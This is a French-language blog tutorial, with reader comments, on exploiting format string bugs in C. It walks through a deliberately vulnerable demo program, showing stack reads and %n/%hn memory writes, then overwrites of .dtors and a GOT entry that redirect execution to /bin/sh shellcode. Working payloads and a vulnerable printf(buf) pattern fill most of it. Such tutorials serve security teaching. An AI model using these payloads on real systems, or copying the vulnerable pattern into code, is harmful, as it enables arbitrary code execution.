Les format string bugs

Les Format String Bugs

0x01 – Intro

Un format string bug peut se produire lorsque le programmeur passe à l’une des fonctions de la famille de printf une chaîne fournie par l’utilisateur.

Cet utilisateur peut alors très bien fournir une chaîne de format, et c’est ici que se trouve le bug.
Car si un « %x » se trouve dans cette chaîne et qu’aucun argument à printf n’est donné, alors printf prendra comme argument ce qui se trouve empilé sur la pile, il est donc possible de la lire avec plusieurs « %x ».

rappel: %x affiche sous forme hexadécimal.

Même si la fonction printf est dans la plupart des cas utilisée pour lire ou afficher une variable, elle est aussi capable d’y écrire, et cela se fait avec %n.

Rappel : %n stock le nombre de caractères déjà écrits dans l’argument correspondant.

Exemple de ces deux formats :

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

int main(void)
{
  char c = 'a';
  int i;

  printf("c = %c - %x\n", c, c);
  printf("1234%n\n", &i);
  printf("i = %d\n", i);
  return (0);
}

– On compile :

1
gcc fmt.c -o fmt

– On run :

1
2
3
4
./fmt
c = a - 61
1234
i = 4

%x a fait printf le caractère ‘a’ en hexa qui correspond bien à 61 et %n a bien écrit dans i les 4 caractères affichés.


0x02 – Exemple de lecture/écriture

Ici nous allons voir comment changer la valeur d’une variable d’un programme grâce à un format string bug.

Voici la source du programme utilisé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>

int var = 0;

int main(int argc, char *argv[])
{
  char buf[1024];

  if(argc != 2) {
    printf("Error: supply a format string.\n");
    return 1;
  }
  strncpy(buf, argv[1], 1023);
  buf[1024] = 0;
  printf(buf);
  printf("\n\nvar  = %d - %x (%p)\n", var, var, &var);
  return (0);
}

– On compile :

1
gcc fmtbug.c -o fmtbug

Pour commencer il nous faut connaître la position de buf sur la pile, on y parvient en dépilant (avec %x) les valeurs de la stack :

1
2
(for((val = 1; val < 10; val++)); do echo -n "val = $val - " ; ./fmtbug "ABCD%${val}\$x" ; done) | grep 44434241
val = 5 - ABCD44434241

Nous voyons que le début de notre buf se trouve en cinquième position, vérifions :

1
2
3
4
./fmtbug 'ABCD%5$x'
ABCD44434241

var  = 0 - 0 (0x8049680)

Nous tombons bien sur notre string.

Maintenant nous allons changer la valeur de var qui est de type int, le programme de démonstration affiche son adresse donc nous n’avons pas besoin de la chercher, chez moi l’adresse de var est : 0x8049680

Il faut donc écrire avec %n à cette adresse :

1
2
3
4
./fmtbug `python -c 'print "\x80\x96\x04\x08%5$n"'`
...
...
var  = 4 - 4 (0x8049680)

La valeur de la variable var à changer est 4 car nous avons affichés 4 caractères (\x80 + \x96 + \x04 + \x08). Mais nous pouvons très bien lui donner comme valeur 500 par exemple :

1
2
3
4
./fmtbug `python -c 'print "\x80\x96\x04\x08%496x%5$n"'`
...
...
var  = 500 - 1f4 (0x8049680)

Nous savons maintenant donner une valeur à une variable, voyons alors comment lui donner une adresse :
Pour l’exemple on va donner à la variable « var » la valeur 0xdeadbeef.

Il y a deux façons d’y parvenir :
– Ecrire octet par octet* en commençant par ceux de poids fort.
– Ecrire word par word* toujours en commençant par celui de poids faible.

*Octet par octet : c’est à dire écraser ces 4 adresses : 0x8049680 0x8049680+1 0x8049680+2 0x8049680+3

Comme vu plus haut, nous devons commencer par les octets de poids faible pour 0xdeadbeef et utiliser le spécificateur %hhn.

1
2
3
4
5
6
7
8
>>> 0xde
222
>>> 0xad
173
>>> 0xbe
190
>>> 0xef
239

En premier 0xad, puis 0xbe, suivi de 0xde, et pour finir 0xef.
Pour le premier byte (0xad), vu que 4 *4 octets sont déjà placés, c’est à dire nos adresses : « \x80\x96\x04\x08″+ »\x81\x96\x04\x08″+ »\x82\x96\x04\x08″+ »\x83\x96\x04\x08 », il faut en tenir compte :

0xad – (4*4) = 157
0xbe – 0xad = 17
0xde – 0xbe = 32
0xef – 0xde = 17

– Pour l’ordre d’écrasement :
adresse+0: 0xef
adresse+1: 0xbe
adresse+2: 0xad
adresse+3: 0xde

Voici notre exploit :

1
2
3
4
./fmtbug $(python -c 'print "\x80\x96\x04\x08"+"\x81\x96\x04\x08" + "\x82\x96\x04\x08" + "\x83\x96\x04\x08" + "%157c%7$hhn" + "%17c%6$hhn" + "%32c%8$hhn" + "%17c%5$hhn"')
...
...
var  = -559038737 - deadbeef (0x8049680)

*Word par word
En le faisant word par word même principe : le word qui pèse le moins d’abord, suivis de l’autre. Mais nous n’écraserons que deux adresses : 0x8049680 et 0x8049680+2 avec le spécificateur %hn.

1
2
3
4
>>> 0xdead
57005
>>> 0xbeef
48879

Pour le premier word (0xbeef) 2 adresses sont déjà affichées, donc 0xbeef – (4*2) soit 48871 qui sera à adresse+0 et pour le second 0xdead – 0xbeef = 8126 qui sera à adresse+2.

L’exploit :

1
2
3
4
./fmtbug $(python -c 'print "\x80\x96\x04\x08" + "\x82\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
var  = -559038737 - deadbeef (0x8049680)

0x03 – Exploitation

Je vais démontrer ici deux types d’exploitations (les plus connues) : format string bug avec shellcode.

*DTORS – Destructors
.dtors est une section créée par le compilateur GCC qui sert comme destructeur. La section utilisée comme constructeur est appelée .ctors. La section .dtors est une table de fonctions qui sont appelées juste après la sortie de main(). Voici à quoi ressemble la section .dtors pour notre programme fmtbug :

1
2
3
4
5
6
objdump -s -j .dtors ./fmtbug

./fmtbug:     file format elf32-i386

Contents of section .dtors:
 8049570 ffffffff 00000000                    ........

La section .dtors est accessible en écriture, nous comprenons tout de suite qu’il est donc possible d’écraser une adresse contenue dans .dtors par une adresse pointant sur notre shellcode. Nous allons donc écraser la dernière adresse de la table des fonctions de .dtors. Cette dernière adresse peut être trouvée grâce au tool « nm ».

1
2
3
nm ./fmtbug | grep DTOR
08049574 d __DTOR_END__
08049570 d __DTOR_LIST__

__DTOR_LIST__ représente le début de la section et __DTOR_END__ la fin. Il nous faut donc écraser l’adresse de __DTOR_END__, soit 0x08049574. Pour commencer, nous allons détourner le flux d’exécution de format bug pour le faire sauter sur 0xdeadbeef afin d’obtenir un segfault.

1
ulimit -c unlimited
1
2
3
4
./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
Erreur de segmentation (core dumped)
1
2
3
4
gdb -c core
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb)

Maintenant que nous arrivons à détourner le flux du programme, il faudrait qu’il puisse jump sur un shellcode, c’est ce que nous allons voir. Dans cet exemple, le shellcode sera dans une variable d’environnement :

1
export EGG=$(python -c 'print "\x90" * 2048 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Pour trouver l’adresse sur laquelle jumper nous allons utiliser GDB, reprendre l’exemple plus haut avec 0xdeadbeef, puis chercher dans la stack les 0x90.

1
2
3
4
5
6
7
8
9
10
11
12
gdb ./fmtbug

(gdb) r $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

(gdb) x/500x $esp
...
...
0xbffff2fc: 0x90909090  0x90909090  0x90909090  0x90909090

Je vais donc prendre cette adresse (0xbffff2fc) pour que l’on saute dans les NOPs pour finir par exécuter le shellcode :

1
2
3
4
5
6
7
8
9
>>> 0xbfff
49151
>>> 0xf2fc
62204
>>> 0xbfff - (4*2)
49143
>>> 0xf2fc - 0xbfff
13053
>>>
1
2
3
4
5
6
./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%49143u%6$hn" + "%13053u%5$hn"')
...
...
var  = 0 - 0 (0x8049680)
$ exit
user@distro:~/fmtbug$

Et voila \o/ le shellcode a bien été exécuté 😉

*GOT – Global Offset Table
Cette table contient les adresses réelles des fonctions partagées utilisées par un programme. On obtient ces adresses grâce à objdump :

1
2
3
4
5
6
7
8
9
10
11
12
objdump -R ./fmtbug

./fmtbug:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804964c R_386_GLOB_DAT    __gmon_start__
0804965c R_386_JUMP_SLOT   __gmon_start__
08049660 R_386_JUMP_SLOT   strncpy
08049664 R_386_JUMP_SLOT   __libc_start_main
08049668 R_386_JUMP_SLOT   printf
0804966c R_386_JUMP_SLOT   puts

Nous devons alors savoir laquelle de ces fonctions est appeleé après notre printf vulnérable. Pour voir cela, nous allons utiliser GDB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gdb ./fmtbug
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483d4 <main+0>:    push   ebp
0x080483d5 <main+1>:    mov    ebp,esp
0x080483d7 <main+3>:    sub    esp,0x414
0x080483dd <main+9>:    cmp    DWORD PTR [ebp+0x8],0x2
0x080483e1 <main+13>:   je     0x80483fb <main+39>
0x080483e3 <main+15>:   mov    DWORD PTR [esp],0x804852c
0x080483ea <main+22>:   call   0x8048340 <puts@plt>
0x080483ef <main+27>:   mov    DWORD PTR [ebp-0x404],0x1
0x080483f9 <main+37>:   jmp    0x8048460 <main+140>
0x080483fb <main+39>:   mov    eax,DWORD PTR [ebp+0xc]
0x080483fe <main+42>:   add    eax,0x4
0x08048401 <main+45>:   mov    eax,DWORD PTR [eax]
0x08048403 <main+47>:   mov    DWORD PTR [esp+0x8],0x3ff
0x0804840b <main+55>:   mov    DWORD PTR [esp+0x4],eax
0x0804840f <main+59>:   lea    eax,[ebp-0x400]
0x08048415 <main+65>:   mov    DWORD PTR [esp],eax
0x08048418 <main+68>:   call   0x8048310 <strncpy@plt>
0x0804841d <main+73>:   mov    BYTE PTR [ebp+0x0],0x0
0x08048421 <main+77>:   lea    eax,[ebp-0x400]
0x08048427 <main+83>:   mov    DWORD PTR [esp],eax
0x0804842a <main+86>:   call   0x8048330 <printf@plt>
0x0804842f <main+91>:   mov    eax,ds:0x8049680
0x08048434 <main+96>:   mov    edx,DWORD PTR ds:0x8049680
0x0804843a <main+102>:  mov    DWORD PTR [esp+0xc],0x8049680
0x08048442 <main+110>:  mov    DWORD PTR [esp+0x8],eax
0x08048446 <main+114>:  mov    DWORD PTR [esp+0x4],edx
0x0804844a <main+118>:  mov    DWORD PTR [esp],0x804854b
0x08048451 <main+125>:  call   0x8048330 <printf@plt>
0x08048456 <main+130>:  mov    DWORD PTR [ebp-0x404],0x0
0x08048460 <main+140>:  mov    eax,DWORD PTR [ebp-0x404]
0x08048466 <main+146>:  leave  
0x08048467 <main+147>:  ret    
End of assembler dump.
(gdb)

Nous voyons qu’après le printf vulnérable (qui se trouve à l’adresse 0x0804842a), c’est encore un printf qui est appelé, il faut donc le remplacer. Si nous regardons la sortie d’objdump nous voyons que printf se trouve à 0x08049668. Pour cet exemple nous n’allons pas utiliser de variable d’environnement pour stocker notre shellcode, nous allons le passer en même temps dans la format string mais il nous faut son adresse, encore une fois je vais utiliser GDB.

1
2
3
4
5
6
7
8
9
10
11
12
gdb ./fmtbug

(gdb) r $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

(gdb) x/100x $esp
...
...
0xbffff270: 0x90909090  0x90909090  0x90909090  0x90909090
...

Je vais donc écraser l’adresse de printf qui est à 0x08049668 par 0xbffff270 où se trouvent nos NOPs.

1
2
3
4
5
6
7
8
9
>>> 0xbfff
49151
>>> 0xf270
62064
>>> 0xbfff - (4*2)
49143
>>> 0xf270 - 0xbfff
12913
>>>

On a maintenant tout ce qu’il nous faut, exploitons-le :

1
2
3
4
./fmtbug $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%49143u%6$hn" + "%12913u%5$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
...
����$ exit
user@distro:~/fmtbug$

W00t, on obtient bien un shell (on le voit avec le ‘$’).

C’est tout pour cet article, j’espère vous avoir éclairci sur les exploitations de type format string.

Ce contenu a été publié dans Exploitation, avec comme mot(s)-clef(s) , , . Vous pouvez le mettre en favoris avec ce permalien.

4 réponses à Les format string bugs

  1. aaSSfxxx dit :

    Salut,

    L’exploitation par la section DTORS risque d’être un poil compliqué étant donné que gcc a mis en place des protections contre (le nombre de destructors est compté au chargement du programme et le prog n’exécute que les dtors qu’il a comptés).

    Bref, vaut mieux se tourner vers la GOT 😉 (si celle-ci est writeable)

    • opc0de dit :

      ouaip, exact, j’ai du prendre gcc-4.1 il me semble dispo encore dans les depots de debian. mais c’est quand même encore utile à savoir par exemple pour les CTF/wargames.

  2. Ekologist dit :

    L’exploitation par la section DTORS risque d’être un poil compliqué étant donné que gcc a mis en place des protections contre (le nombre de destructors est compté au chargement du programme et le prog n’exécute que les dtors qu’il a comptés).
    +1

  3. Darmo dit :

    Merci, super article 🙂

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Protected by WP Anti Spam

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.